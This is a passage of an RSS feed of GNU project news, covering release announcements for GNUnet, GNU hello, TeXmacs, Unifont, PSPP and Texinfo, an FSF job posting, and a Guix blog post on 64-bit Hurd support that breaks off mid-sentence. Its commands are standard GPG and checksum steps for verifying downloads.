&lt;br /&gt;

&lt;br /&gt;
gpg --recv-keys B4F63339E65D6414
&lt;br /&gt;

&lt;br /&gt;
and rerun the gpg --verify command.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Thu, 19 Mar 2026 06:32:07 +0000</pubDate>

</item> 
<item>
	<title>GNUnet News: GNUnet 0.27.0</title>
	<guid>https://gnunet.org/en/news/2026-03-0.27.0.html</guid>
	<link>https://gnunet.org/en/news/2026-03-0.27.0.html</link>
     <description>  &lt;article id="newspost-content"&gt;
 
  &lt;h1&gt;
   GNUnet 0.27.0 released
  &lt;/h1&gt;
  &lt;p&gt;
   We are pleased to announce the release of GNUnet 0.27.0.
   &lt;br /&gt;
   GNUnet is an alternative network stack for building secure, decentralized and
  privacy-preserving distributed applications.
  Our goal is to replace the old insecure Internet protocol stack.
  Starting from an application for secure publication of files, it has grown to
  include all kinds of basic protocol components and applications towards the
  creation of a GNU internet.
  &lt;/p&gt;
  &lt;p&gt;
   This is a new major release.
  Major versions may break protocol compatibility with the 0.26.X versions.
  Please be aware that Git master is thus henceforth (and has been for a
  while)
   &lt;b&gt;
    INCOMPATIBLE
   &lt;/b&gt;
   with
  the 0.26.X GNUnet network, and interactions between old and new peers
  will result in issues.
  In terms of usability, users should be aware that there are still
   &lt;b&gt;
    a number of known open issues
   &lt;/b&gt;
   in particular with respect to ease
  of use, but also some critical privacy issues especially for mobile users.
  Also, the nascent network is tiny and thus unlikely to
  provide good anonymity or extensive amounts of interesting information.
  As a result, the 0.27.0 release is still
   &lt;b&gt;
    only suitable for early adopters
  with some reasonable pain tolerance
   &lt;/b&gt;
   .
  &lt;/p&gt;
  &lt;h4&gt;
   Download links
  &lt;/h4&gt;
  &lt;ul&gt;
   &lt;li&gt;
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-0.27.0.tar.gz"&gt;
     gnunet-0.27.0.tar.gz
    &lt;/a&gt;
    (
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-0.27.0.tar.gz.sig"&gt;
     signature
    &lt;/a&gt;
    )
   &lt;/li&gt;
   &lt;li&gt;
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-fuse-0.27.0.tar.gz"&gt;
     gnunet-fuse-0.27.0.tar.gz
    &lt;/a&gt;
    (
    &lt;a href="https://ftpmirror.gnu.org/gnunet/gnunet-fuse-0.27.0.tar.gz.sig"&gt;
     signature
    &lt;/a&gt;
    )
   &lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
   The GPG key used to sign is:
   &lt;a href="https://www.gnunet.org/~schanzen/3D11063C10F98D14BD24D1470B0998EF86F59B6A"&gt;
    3D11063C10F98D14BD24D1470B0998EF86F59B6A
   &lt;/a&gt;
  &lt;/p&gt;
  &lt;p&gt;
   Note that due to mirror synchronization, not all links might be functional
  early after the release. For direct access try
   &lt;a href="http://ftp.gnu.org/gnu/gnunet/"&gt;
    http://ftp.gnu.org/gnu/gnunet/
   &lt;/a&gt;
  &lt;/p&gt;
  &lt;h4&gt;
   Changes
  &lt;/h4&gt;
  &lt;p&gt;
   A detailed list of changes can be found in the git log, the NEWS.
  &lt;/p&gt;
  &lt;h4&gt;
   Known Issues
  &lt;/h4&gt;
  &lt;ul&gt;
   &lt;li&gt;
    There are known major issues with the TRANSPORT subsystem.
   &lt;/li&gt;
   &lt;li&gt;
    There are known moderate implementation limitations in CADET that negatively impact performance.
   &lt;/li&gt;
   &lt;li&gt;
    There are known moderate design issues in FS that also impact usability and performance.
   &lt;/li&gt;
   &lt;li&gt;
    There are minor implementation limitations in SET that create unnecessary attack surface for availability.
   &lt;/li&gt;
   &lt;li&gt;
    The RPS subsystem remains experimental.
   &lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
   In addition to this list, you may also want to consult our bug tracker at
   &lt;a href="https://bugs.gnunet.org/"&gt;
    bugs.gnunet.org
   &lt;/a&gt;
   which lists about 190 more specific issues.
  &lt;/p&gt;
  &lt;h4&gt;
   Thanks
  &lt;/h4&gt;
  &lt;p&gt;
   This release was the work of many people. The following people contributed code and were thus easily identified:
Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.
  &lt;/p&gt;
  
 
&lt;/article&gt; </description> 
	<pubDate>Wed, 18 Mar 2026 23:00:00 +0000</pubDate>

</item> 
<item>
	<title>hello @ Savannah: hello-2.12.3 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10867</guid>
	<link>https://savannah.gnu.org/news/?id=10867</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce hello-2.12.3, a stable release.&lt;br /&gt;
&lt;br /&gt;
GNU hello is a demonstration and model of the GNU coding standards for&lt;br /&gt;
hackers, and a simple example for users.&lt;br /&gt;
&lt;br /&gt;
There have been 18 commits by 2 people in the 43 weeks since 2.12.2.&lt;br /&gt;
&lt;br /&gt;
See the NEWS below for a brief summary.&lt;br /&gt;
&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Collin Funk (16)&lt;br /&gt;
  Reuben Thomas (2)&lt;br /&gt;
&lt;br /&gt;
Collin&lt;br /&gt;
 [on behalf of the hello maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU hello home page:&lt;br /&gt;
    https://gnu.org/s/hello/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources and a GPG detached signature:&lt;br /&gt;
  https://ftpmirror.gnu.org/hello/hello-2.12.3.tar.gz&lt;br /&gt;
  https://ftpmirror.gnu.org/hello/hello-2.12.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (hello-2.12.3.tar.gz) = DV9gFUOC/uELEUocNOeF2LH0kgc64tOm97FHaHs2aqA=&lt;br /&gt;
  SHA3-256 (hello-2.12.3.tar.gz) = VQz4Y71rvDa2iSh59ZUTHiT0wJmFWKo4VcUvpkRi4Ek=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify hello-2.12.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/8CE6491AE30D7D75 2024-03-11 [SC]&lt;br /&gt;
        Key fingerprint = 2371 1855 08D1 317B D578  E5CC 8CE6 491A E30D 7D75&lt;br /&gt;
  uid                 [ultimate] Collin Funk &amp;lt;collin.funk1@gmail.com&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key collin.funk1@gmail.com&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys 8CE6491AE30D7D75&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=hello&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify hello-2.12.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the hello git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/hello.git&lt;br /&gt;
&lt;br /&gt;
with commit 89fff19b23e35f0e97072507685c92aaae3d04c7 tagged as v2.12.3.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=hello.git;a=shortlog;h=v2.12.3&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned hello directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v2.12.2..v2.12.3&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.72&lt;br /&gt;
  Automake 1.18.1&lt;br /&gt;
  Gnulib 2026-03-16 4e11e3d07a79a49eaa9b155c43801bbc1e5bd86e&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 2.12.3 (2026-03-17) [stable]&lt;br /&gt;
&lt;br /&gt;
The manual no longer mentions the -h and -v short options which were&lt;br /&gt;
removed in release 2.11.&lt;br /&gt;
&lt;br /&gt;
Update gnulib for compatibility with glibc-2.43.&lt;br /&gt;
&lt;br /&gt;
GNU hello no longer fails to build with BSD implementations of the&lt;br /&gt;
'make' command.  Previously they would be unable to find a target&lt;br /&gt;
listed as a dependency of the 'hello' program.&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 18 Mar 2026 03:46:16 +0000</pubDate>

</item> 
<item>
	<title>texmacs @ Savannah: TeXmacs 2.1.5 released</title>
	<guid>https://savannah.gnu.org/news/?id=10866</guid>
	<link>https://savannah.gnu.org/news/?id=10866</link>
     <description>  &lt;p&gt;Hello everyone,
&lt;br /&gt;

&lt;br /&gt;
We are pleased to announce the release of TeXmacs version 2.1.5
&lt;br /&gt;

&lt;br /&gt;
This version uses Qt6 by default, supports very high-definition displays, and introduces new ongoing collaborative editing features. On Windows, TeXmacs is now available on the Microsoft Store. On Linux, we have a new Qt6 AppImage that maximizes compatibility with GNU Linux distributions. On Mac, we have new universal packages.
&lt;br /&gt;

&lt;br /&gt;
- Download for Windows: &lt;a href="https://www.texmacs.org/tmweb/download/windows.en.html"&gt;https://www.texma ... d/windows.en.html&lt;/a&gt;
&lt;br /&gt;
- Download for macOS: &lt;a href="https://www.texmacs.org/tmweb/download/macosx.en.html"&gt;https://www.texma ... ad/macosx.en.html&lt;/a&gt;
&lt;br /&gt;
- Download for GNU Linux: &lt;a href="https://www.texmacs.org/tmweb/download/linux.en.html"&gt;https://www.texma ... oad/linux.en.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Happy writing with TeXmacs!
&lt;br /&gt;

&lt;br /&gt;
The TeXmacs Team&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Tue, 17 Mar 2026 13:14:54 +0000</pubDate>

</item> 
<item>
	<title>unifont @ Savannah: Unifont 17.0.04 Released</title>
	<guid>https://savannah.gnu.org/news/?id=10864</guid>
	<link>https://savannah.gnu.org/news/?id=10864</link>
     <description>  &lt;p&gt;&lt;b&gt;13 March 2026&lt;/b&gt; Unifont 17.0.04 is now available.  This is a minor release aligned with Unicode 17.0.0.
&lt;br /&gt;

&lt;br /&gt;
This release notably includes separate BDF, PCF, and OpenType font files with 28,000+ Unicode T-source Chinese glyphs created by Kusanagi_Sans and Kao Chen-tung (高振東) in font files beginning with "unifont_t".  Many other Chinese glyphs have been added.  Also, font/Makefile has been reorganized for more efficient font file building.  See the ChangeLog file for details.
&lt;br /&gt;

&lt;br /&gt;
Download this release from GNU server mirrors at:
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://ftpmirror.gnu.org/unifont/unifont-17.0.04/"&gt;https://ftpmirror ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or if that fails,
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://ftp.gnu.org/gnu/unifont/unifont-17.0.04/"&gt;https://ftp.gnu.o ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
or, as a last resort,
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="ftp://ftp.gnu.org/gnu/unifont/unifont-17.0.04/"&gt;ftp://ftp.gnu.org ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
These files are also available on the unifoundry.com website:
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://unifoundry.com/pub/unifont/unifont-17.0.04/"&gt;https://unifoundr ... /unifont-17.0.04/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Font files are in the subdirectory
&lt;br /&gt;

&lt;br /&gt;
     &lt;a href="https://unifoundry.com/pub/unifont/unifont-17.0.04/font-builds/"&gt;https://unifoundr ... 0.04/font-builds/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
A more detailed description of font changes is available at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="https://unifoundry.com/unifont/index.html"&gt;https://unifoundr ... nifont/index.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
and of utility program changes at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="https://unifoundry.com/unifont/unifont-utilities.html"&gt;https://unifoundr ... nt-utilities.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Information about Hangul modifications is at
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="https://unifoundry.com/hangul/index.html"&gt;https://unifoundr ... hangul/index.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
and
&lt;br /&gt;

&lt;br /&gt;
      &lt;a href="http://unifoundry.com/hangul/hangul-generation.html"&gt;http://unifoundry ... l-generation.html&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Enjoy!
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Paul Hardy
&lt;br /&gt;
GNU Unifont Maintainer&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 13 Mar 2026 21:46:00 +0000</pubDate>

</item> 
<item>
	<title>FSF News: Job opportunity: Engineering and Certification Manager at the Free Software Foundation</title>
	<guid>http://www.fsf.org/news/2026-job-opportunity-fsf-engineering-and-certification-manager</guid>
	<link>http://www.fsf.org/news/2026-job-opportunity-fsf-engineering-and-certification-manager</link>
     <description>  The Free Software Foundation (FSF), a Massachusetts 501(c)(3) charity with a worldwide mission to promote computer user freedom, seeks a motivated and talented individual to be our new Engineering and Certification Manager. This position is ideally full-time and US-based, but exceptions can be made for a qualified candidate. </description> 
	<pubDate>Tue, 10 Mar 2026 12:15:00 +0000</pubDate>

</item> 
<item>
	<title>pspp @ Savannah: PSPP 2.1.1 has been released</title>
	<guid>https://savannah.gnu.org/news/?id=10861</guid>
	<link>https://savannah.gnu.org/news/?id=10861</link>
     <description>  &lt;p&gt;I'm very pleased to announce the release of a new version of GNU PSPP.  PSPP is a program for statistical analysis of sampled data.  It is a free replacement for the proprietary program SPSS.
&lt;br /&gt;

&lt;br /&gt;
Changes from 2.1.0 to 2.1.1:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Translation updates.
&lt;/li&gt;
&lt;li&gt;Bug fixes in build system and tests.
&lt;/li&gt;
&lt;li&gt;No longer mistakenly labeled as a "test release".
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please send PSPP bug reports to bug-gnu-pspp@gnu.org.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 06 Mar 2026 16:48:40 +0000</pubDate>

</item> 
<item>
	<title>pspp @ Savannah: PSPP 2.1.0 has been released.</title>
	<guid>https://savannah.gnu.org/news/?id=10860</guid>
	<link>https://savannah.gnu.org/news/?id=10860</link>
     <description>  &lt;p&gt;I'm very pleased to announce the release of a new version of GNU PSPP.  PSPP is a program for statistical analysis of sampled data.  It is a free replacement for the proprietary program SPSS.
&lt;br /&gt;

&lt;br /&gt;
Changes from 2.0.1 to 2.1.0:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bug fixes.
&lt;/li&gt;
&lt;li&gt;Translation updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Please send PSPP bug reports to bug-gnu-pspp@gnu.org.&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 04 Mar 2026 18:24:39 +0000</pubDate>

</item> 
<item>
	<title>texinfo @ Savannah: Texinfo 7.3 released</title>
	<guid>https://savannah.gnu.org/news/?id=10859</guid>
	<link>https://savannah.gnu.org/news/?id=10859</link>
     <description>  &lt;p&gt;We have released version 7.3 of Texinfo, the GNU documentation format.
&lt;br /&gt;

&lt;br /&gt;
It's available via a mirror (xz is much smaller than gz, but gz is available too just in case):
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://ftpmirror.gnu.org/texinfo/texinfo-7.3.tar.xz"&gt;https://ftpmirror ... exinfo-7.3.tar.xz&lt;/a&gt;
&lt;br /&gt;
&lt;a href="https://ftpmirror.gnu.org/texinfo/texinfo-7.3.tar.gz"&gt;https://ftpmirror ... exinfo-7.3.tar.gz&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Please send any comments to bug-texinfo@gnu.org.
&lt;br /&gt;

&lt;br /&gt;
Full announcement:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href="https://lists.gnu.org/archive/html/bug-texinfo/2026-03/msg00007.html"&gt;https://lists.gnu ... -03/msg00007.html&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Mon, 02 Mar 2026 18:54:59 +0000</pubDate>

</item> 
<item>
	<title>GNU Guix: The 64-bit Hurd is Here!</title>
	<guid>https://guix.gnu.org/blog/2026/the-64-bit-hurd//</guid>
	<link>https://guix.gnu.org/blog/2026/the-64-bit-hurd//</link>
     <description>  &lt;p&gt;Fifteen months have passed since our last &lt;a href="https://guix.gnu.org/en/blog/2024/hurd-on-thinkpad/"&gt;Guix/Hurd on a Thinkpad X60
&lt;/a&gt; post and a lot
has happened with respect to &lt;a href="https://hurd.gnu.org"&gt;the Hurd&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;And most of you will have guessed, unless you skipped the title of
this post, the &lt;a href="https://logs.guix.gnu.org/guix/2023-09-16.log#163627"&gt;rumored x86_64
support&lt;/a&gt; has
landed in Guix!&lt;/p&gt;&lt;p&gt;Here is a not-so-short overview of our Hurd work over the past 1.5 years:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The &lt;a href="https://issues.guix.gnu.org/73181"&gt;build daemon fails when invoking &lt;code&gt;guix authenticate&lt;/code&gt; on the
Hurd&lt;/a&gt; bug was fixed.  This was our
most pressing problem as it meant that we could not keep our
substitutes up to date.  It took 15 comments and 13 weeks to get it
resolved.  Phew!&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Installer support for &lt;a href="https://issues.guix.gnu.org/73927"&gt;(cross)-installing the
Hurd&lt;/a&gt;.  Also adding developer
support for running the installer directly from the source tree;
Guix 1.5.0 lets you &lt;a href="https://guix.gnu.org/en/blog/2024/hurd-on-thinkpad/"&gt;install the Hurd on bare
metal&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Fix &lt;a href="https://issues.guix.gnu.org/77634"&gt;tests in the Shepherd&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Update &lt;a href="https://issues.guix.gnu.org/78241"&gt;hurd to 0.9.git20250420, gnumach to
1.8+git20250304&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add &lt;a href="https://issues.guix.gnu.org/78349"&gt;support for a cross-built
gnumach&lt;/a&gt;, allowing the removal
of an ugly workaround when cross-building for the Hurd.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Update &lt;a href="https://codeberg.org/guix/guix/pulls/340"&gt;rumpkernel to
0-20250111&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Support for &lt;a href="https://codeberg.org/guix/guix/pulls/2329"&gt;different childhurd
types&lt;/a&gt;, a.k.a. &lt;a href="https://toot.aquilenet.fr/@civodul/115122971554942237"&gt;64-bit
childhurds in da
house&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The syslogd used by default is now from the Shepherd &lt;a href="https://codeberg.org/guix/guix/pulls/2659"&gt;streamio,
gnumach&lt;/a&gt;, and &lt;a href="https://codeberg.org/shepherd/shepherd/pulls/67"&gt;the
Shepherd&lt;/a&gt;, to make
the kernel log work.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Update &lt;a href="https://codeberg.org/guix/guix/pulls/3605"&gt;hurd to 0.9.git20251029, gnumach: to
1.8+git20250731&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Now that the &lt;code&gt;go-team&lt;/code&gt; branch has been merged, &lt;a href="https://codeberg.org/guix/guix/pulls/4477"&gt;gccgo now
works&lt;/a&gt; (native only).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Fix &lt;a href="https://codeberg.org/guix/guix/pulls/4822"&gt;proc server for zombie
processes&lt;/a&gt; which caused a
shepherd test to fail.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Fix all the dependencies of the &lt;code&gt;guix&lt;/code&gt; package, again:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="https://codeberg.org/guix/guix/pulls/4860"&gt;libgit2 tests&lt;/a&gt;,&lt;/li&gt;&lt;li&gt;&lt;a href="https://codeberg.org/guix/guix/pulls/5308"&gt;dbus, opensp, po4a&lt;/a&gt;,&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Resurrect &lt;a href="https://codeberg.org/guix/guix/pulls/5543"&gt;password hashing&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Installer: &lt;a href="https://codeberg.org/guix/guix/pulls/5537"&gt;Fixes for the
Hurd&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Installer: &lt;a href="https://codeberg.org/guix/guix/pulls/5555"&gt;More clearly mark the Hurd as
experimental&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Installer: &lt;a href="https://codeberg.org/guix/guix/pulls/5515"&gt;Add Hurd x86_64 as an
option&lt;/a&gt;.  This took 15
comments, uncovering and fixing several bugs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add &lt;a href="https://issues.guix.gnu.org/74290"&gt;support for &lt;code&gt;x86_64-gnu&lt;/code&gt;, aka the 64-bit
Hurd&lt;/a&gt;.  The initial patch
set consisted of 31 patches.  This patch
&lt;a href="https://issues.guix.gnu.org/74290#37"&gt;set&lt;/a&gt;
&lt;a href="https://issues.guix.gnu.org/74290#92"&gt;took&lt;/a&gt;
&lt;a href="https://issues.guix.gnu.org/74290#147"&gt;four&lt;/a&gt; iterations and &lt;a href="https://issues.guix.gnu.org/74290#208"&gt;208
messages&lt;/a&gt; before its &lt;a href="https://issues.guix.gnu.org/74290#147"&gt;final
58 patches&lt;/a&gt; were merged to
`core-packages-team'.  Janneke writes: "Lo and behold, the 64-bit
Hurd boots!  Again, thanks to the help from the kind folks over at
libera #hurd and their excellent work.  Do something like:"&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;./pre-inst-env guix system image --image-type=hurd64-qcow2 \
  gnu/system/examples/bare-hurd64.tmpl

Pushed a `core-packages-team' with (this one) GCC 14 commit.  Let the
fun begin :)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We had a lot of fun...&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Request for &lt;a href="https://issues.guix.gnu.org/75518"&gt;merging "core-packages-team"
branch&lt;/a&gt;: 247 commits, took &lt;a href="https://issues.guix.gnu.org/75518#114"&gt;114
comments&lt;/a&gt; &lt;a href="https://gitlab.com/janneke/guix/-/commits/core-packages-team1"&gt;8
weeks&lt;/a&gt;
and 24 iterations with &lt;a href="https://gitlab.com/janneke/guix/-/commits/core-packages-team24"&gt;247 commits from 9
people&lt;/a&gt;
before presenting the initial merge.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The actual &lt;a href="https://gitlab.com/janneke/guix/-/commits/core-packages-team36"&gt;merge
"core-packages-team"&lt;/a&gt;:
85 more commits to a total of 332, by 17 people and 27 weeks
before actual merge.  173 packages with build fixes to relax
GCC 14's strictness, 109 package updates to fix build with GCC 14.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;With this all in place we can &lt;a href="https://codeberg.org/guix/guix/pulls/6176"&gt;have ci build a 64-bit hurd
image&lt;/a&gt;, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Report &lt;a href="https://ci.guix.gnu.org/eval/2139185/dashboard?system=x86_64-gnu"&gt;what packages still need to be
fixed&lt;/a&gt;
for that image to build.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;For convenience we &lt;a href="https://codeberg.org/guix/guix/pulls/4791"&gt;added &lt;code&gt;i586-pc-gnu&lt;/code&gt; and &lt;code&gt;x86_64-pc-gnu&lt;/code&gt; cross
toolchains&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Summarizing, building the Guix manifest for the 32-bit Hurd
(&lt;code&gt;i586-gnu&lt;/code&gt;) should work really well.  Sadly, for the 64-bit Hurd
(&lt;code&gt;x86_64-gnu&lt;/code&gt;) is still a bit problematic as some tests in e.g.,
&lt;code&gt;openssl&lt;/code&gt;, &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;cmake&lt;/code&gt;, .... hang.  This is still under
investigation.&lt;/p&gt;&lt;h1&gt;What Took You So Long?&lt;/h1&gt;&lt;p&gt;We're so glad you asked!  Usually, adding a new architecture should
just take &lt;a href="https://guix.gnu.org/static/blog/64-bit-hurd.text"&gt;a couple of commits&lt;/a&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Add &lt;a href="https://codeberg.org/guix/guix/commit/94dfb68d4378377dfe49d6653e4ed668cecd2783"&gt;cross-compilation support for the &lt;code&gt;x86_64-pc-gnu&lt;/code&gt; target, aka
64-bit
Hurd&lt;/a&gt;,
and then&lt;/li&gt;&lt;li&gt;Add &lt;a href="https://codeberg.org/guix/guix/commit/4d9c5984fee481d74c2f504094b4797bbb4104d4"&gt;support for &lt;code&gt;x86_64-gnu&lt;/code&gt;, aka the 64-bit
Hurd&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;pretty neat, right?  So, what's the story with the 64-bit Hurd?  There
are two problems: 64-bit Hurd support was &lt;a href="https://gcc.gnu.org/gcc-14/changes.html"&gt;added in GCC
14&lt;/a&gt;, while Guix was still at
GCC 11.  This means we "only" had to&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Update &lt;a href="https://codeberg.org/guix/guix/commit/d6780d79d936832e1b2ea9103eefecd0a838fb16"&gt;the gcc cross compiler to
GCC 14&lt;/a&gt;
(one, simple commit), and&lt;/li&gt;&lt;li&gt;Fix all cross builds (initially &lt;a href="https://codeberg.org/guix/guix/commits/commit/ec8a5ec15f898e864705e5a5c834532e3fa8d0a4"&gt;"just" 23
commits&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The second step involves building for all architectures and fixing all
breakage.  Sometimes, fixing one architecture breaks another.&lt;/p&gt;&lt;p&gt;When Guix supported cross-building with &lt;code&gt;GCC 14&lt;/code&gt;, and supported the
64-bit Hurd, we could create and boot a 64-bit childhurd.  After that,
we could start building 64-bit Hurd packages...but only after also&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Use &lt;a href="https://codeberg.org/guix/guix/commit/a82e75d807f500560e5104cd9b3f3263515750bd"&gt;gcc-14, gcc-toolchain-14 on the 64-bit
Hurd&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This, however does not support offloading.  For that, &lt;a href="https://guix.gnu.org/static/blog/gcc-14-initial.text"&gt;we would need
to&lt;/a&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Update &lt;a href="https://codeberg.org/guix/guix/commit/84f665f8d1cad5d8bc6013f5cc8ba8f12578c494"&gt;gcc, gcc-toolchain, libgccjit to 14&lt;/a&gt;, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make sure that all &lt;a href="https://codeberg.org/guix/guix/src/branch/master/gnu/packages/commencement.scm"&gt;packages in
&lt;code&gt;commencement.scm&lt;/code&gt;&lt;/a&gt;
successfully build natively on &lt;code&gt;x86_64-hurd&lt;/code&gt;, which took &lt;a href="https://codeberg.org/guix/guix/commits/commit/d9bb372453cc74f8da7a475d688aabce47e6a14d"&gt;only
some 35
